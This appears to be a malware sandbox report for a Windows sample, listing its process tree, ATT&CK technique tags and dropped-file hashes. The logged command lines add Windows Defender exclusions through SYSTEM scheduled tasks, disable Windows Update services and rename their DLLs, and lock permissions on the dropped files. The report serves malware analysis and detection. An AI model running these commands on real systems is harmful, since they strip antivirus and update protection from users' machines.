C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\4EEboB\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2872
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:2708
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:3000
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3016 -
C:\Windows\SysWOW64\net.exenet stop wuauserv4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4400 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv5⤵
- System Location Discovery: System Language Discovery
PID:2184
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1700
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C:\Windows\SysWOW64\sc.exesc failure wuauserv reset= 0 actions= ""4⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4132
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C:\Windows\SysWOW64\net.exenet stop UsoSvc4⤵
- System Location Discovery: System Language Discovery
PID:448 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UsoSvc5⤵
- System Location Discovery: System Language Discovery
PID:2296
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4804
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4352 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1500
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:448
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:2192
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3868
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:4456
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:4288
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1380
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-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3992 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2128
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-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3880 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4840
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:3916
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:2104
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4508 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2248
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵
- System Location Discovery: System Language Discovery
PID:4580
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵
- System Location Discovery: System Language Discovery
PID:376
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3776 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3736
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:964 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1996
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1844 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\4EEboB.exe" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1816
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\image.png" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\image.png" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3252
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3128 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4820
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\image.png" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:400 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\image.png" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3860
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\thumbs.db" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3844 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\thumbs.db" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3600
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:2996 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5028
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-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4524 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4804
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-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /inheritance:r3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3712 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3356
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4180 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3960
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-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:5060 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\4EEboB\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2708
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\z85smi" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\z85smi" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5028
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C:\Users\Public\z85smi\ayMrfJ.exe"C:\Users\Public\z85smi\ayMrfJ.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4164
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C:\Windows\system32\cmd.execmd.exe1⤵PID:3840
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3084
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1580 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:732
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C:\Program Files (x86)\4EEboB\4EEboB.exe"C:\Program Files (x86)\4EEboB\4EEboB.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4240
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C:\Program Files (x86)\4EEboB\4EEboB.exe"C:\Program Files (x86)\4EEboB\4EEboB.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:504
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C:\Program Files (x86)\Urg2KmsV\v63JyhT.exe"C:\Program Files (x86)\Urg2KmsV\v63JyhT.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4544
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:508 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1428
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2004 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4164
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Screensaver
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Screensaver
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
1Clear Persistence
1Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files (x86)\4EEboB\4EEboB.exe
- Size 145KB
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- TLSH T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\4EEboB\XPSPLOG.dll
- Size 4.6MB
- SHA256 2466b4bea8f1c169a017a76b70dddd43b632d733059560ec2367e4a98f180d9a
- MD5 c1cf7b905379bd9f07aa7a365793f176
- SHA1 c5d9e691df751fb1bc421c4c4481d04aacf97f97
- SHA512 4248101123b802265aed346109eadc8d61e9da87ff687f6d5ef9e606671c2574fc4c15a9f32a087b652feba330a15e3f817e85605c22c19015cdf662cacf7db0
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyI:BMWKfU+BcUTHCCCfqCiUffnI
- TLSH T17B263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\4EEboB\image.png
- Size 4.8MB
- SHA256 8c038f9916d8ea98df1092de05b82d70f86302850505f69e5060da9d20d9cbc1
- MD5 ee5dfaf5f4b8ef3cccf9b39aaf8e4598
- SHA1 2ee765399310648b56c52d457d0aa00da554ca74
- SHA512 2fce0f43910e9ea5111c9e99c9671cc6dcdb1ffb20841337410c2d469b9ac15228ea91a28098eea5ab534dcffcc25c6dc1db2cf60dd60c3ab53b20abb1455c50
- SSDEEP 98304:J/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:JMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
- TLSH T13436334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\4EEboB\thumbs.db
- Size 358KB
- SHA256 3ef3948f9cf7f377062c19b075c7de9b5378c5fd78feb17322aebf7e53c0d5cd
- MD5 8edb0fa8a50eaeb146633ea47e5bb079
- SHA1 d67a0f8e3ee9e7442442a416609002535d07898d
- SHA512 bda35fc178564c78b443c48c9eaec7db57fb060d5368a1f4d7459973c977600aea2256edbd8e696a8f07f4b7d3eeecfe9e38d9bae387b71f73d73d25b678029b
- SSDEEP 6144:9iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:08u69CghoQxoMTFQqtKFCz7mb/
- TLSH T1E674F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Urg2KmsV\XPSPLOG.dll
- Size 4.6MB
- SHA256 b6bc55364c477a208a0907d83b74998a948360cbcccabd23d6cd31d0de8fc2c9
- MD5 30387451a36f59c4d5cfd0e43e445bdf
- SHA1 6b714fd6d133fe097df58f11fd5c6f99e74fe8e2
- SHA512 031a66e53c59528adb394901c60a3338da0045c18c784e2656900779564c037186d9863b9c763077dde58956910142230b43cfce53667c172e2e9c6698944898
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyk:BMWKfU+BcUTHCCCfqCiUffnk
- TLSH T1EC263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Urg2KmsV\image.png
- Size 4.8MB
- SHA256 89a85d0d7d6b4c81f2a7ca866f927ff193c03a4892cb123709ef103308321282
- MD5 fd05769e68f5abb87e9a8aaf8877bc81
- SHA1 3eac8e9cbd750c6e7a0ddd0d032b0ec069f0eda5
- SHA512 cac4dd24beadc4e398fd6b58d59a294801f1e41ea6cffdb36b1fe36a654cd21af7ce4f3acfbcfaf0a7616283184e10d21956564d5601515ed8f58efe8f484297
- SSDEEP 98304:L/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:LMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
- TLSH T1EC36334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Music\destopbak.ini
- Size 2B
- SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
- MD5 7e74f75663e5b5a4f3452a4c603ee45d
- SHA1 d5114b086b721f2c87ea7152025792958ab4c629
- SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
- MD5 SHA1 SHA512
- Path C:\Users\Public\z85smi\UxEnhance64.dll
- Size 3.1MB
- SHA256 69712f356891672cf991568467558cd020cd9d9584e0318c64616f0984380f30
- MD5 e7c4c301e1a2fa7fe2134255c65df702
- SHA1 91c3042fb6f803910d3004088091bf98cc9f7ff7
- SHA512 5b5b74a2372a09703afdc33c4fe8c3b0967a635d455c31b1bcec5eb5c0151d35610a4a5d09612dbf9d71ad50eeba6349cf772c186f656e57be5b5a62821563fd
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+X:P9m29xx3Tiqt06ox6+z2rNNrKoX
- TLSH T1D3E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\z85smi\adoresd.dat
- Size 4.7MB
- SHA256 1f1b409634556325fc15371b562c903beb8ec63d8b90c375aa702edb0d355190
- MD5 b0725366d11ec703c329bab7f1f40978
- SHA1 678e399ac19c4b8a36bfa4965d5cc665e9eb348e
- SHA512 3dfb6156e9044a9d1ac102725271b0ba3b9233afe26ffd07d5c8105e4fad60cf0f9722d2842e446830163190ca3b3751c8fbc7fcdc7e0fc30dcb92d0f6a1413e
- SSDEEP 98304:kKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:kKClqhi0Cv54K2IVS0VQg
- TLSH T1A43633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\z85smi\ayMrfJ.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\z85smi\msadox.tb
- Size 8KB
- SHA256 8bc4fb4a9c2007e726b4ac9c10866384dcca4095b34dd56360ed5a89cb627d7d
- MD5 10727378fe6e51dbc44496bf75a6cf99
- SHA1 fa396308d6b0eb888b6001e2a1f712ccf3e1734e
- SHA512 daed56ae10e46cb779bd2b314534664874cb88a92abea5d95813e6ca42c43574dd48f081ad0af6d6d55e811945feee6106a8fdbaee15aad5920e42934a696e25
- SSDEEP 192:jqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:jsZqZOXQ3uqvR2Kfzp
- TLSH T196029E05D7A20CC3D3016C71CD9EB2F5AB23A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\xxxx.ini
- Size 2B
- SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
- MD5 81051bcc2cf1bedf378224b0a93e2877
- SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
- SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
- MD5 SHA1 SHA512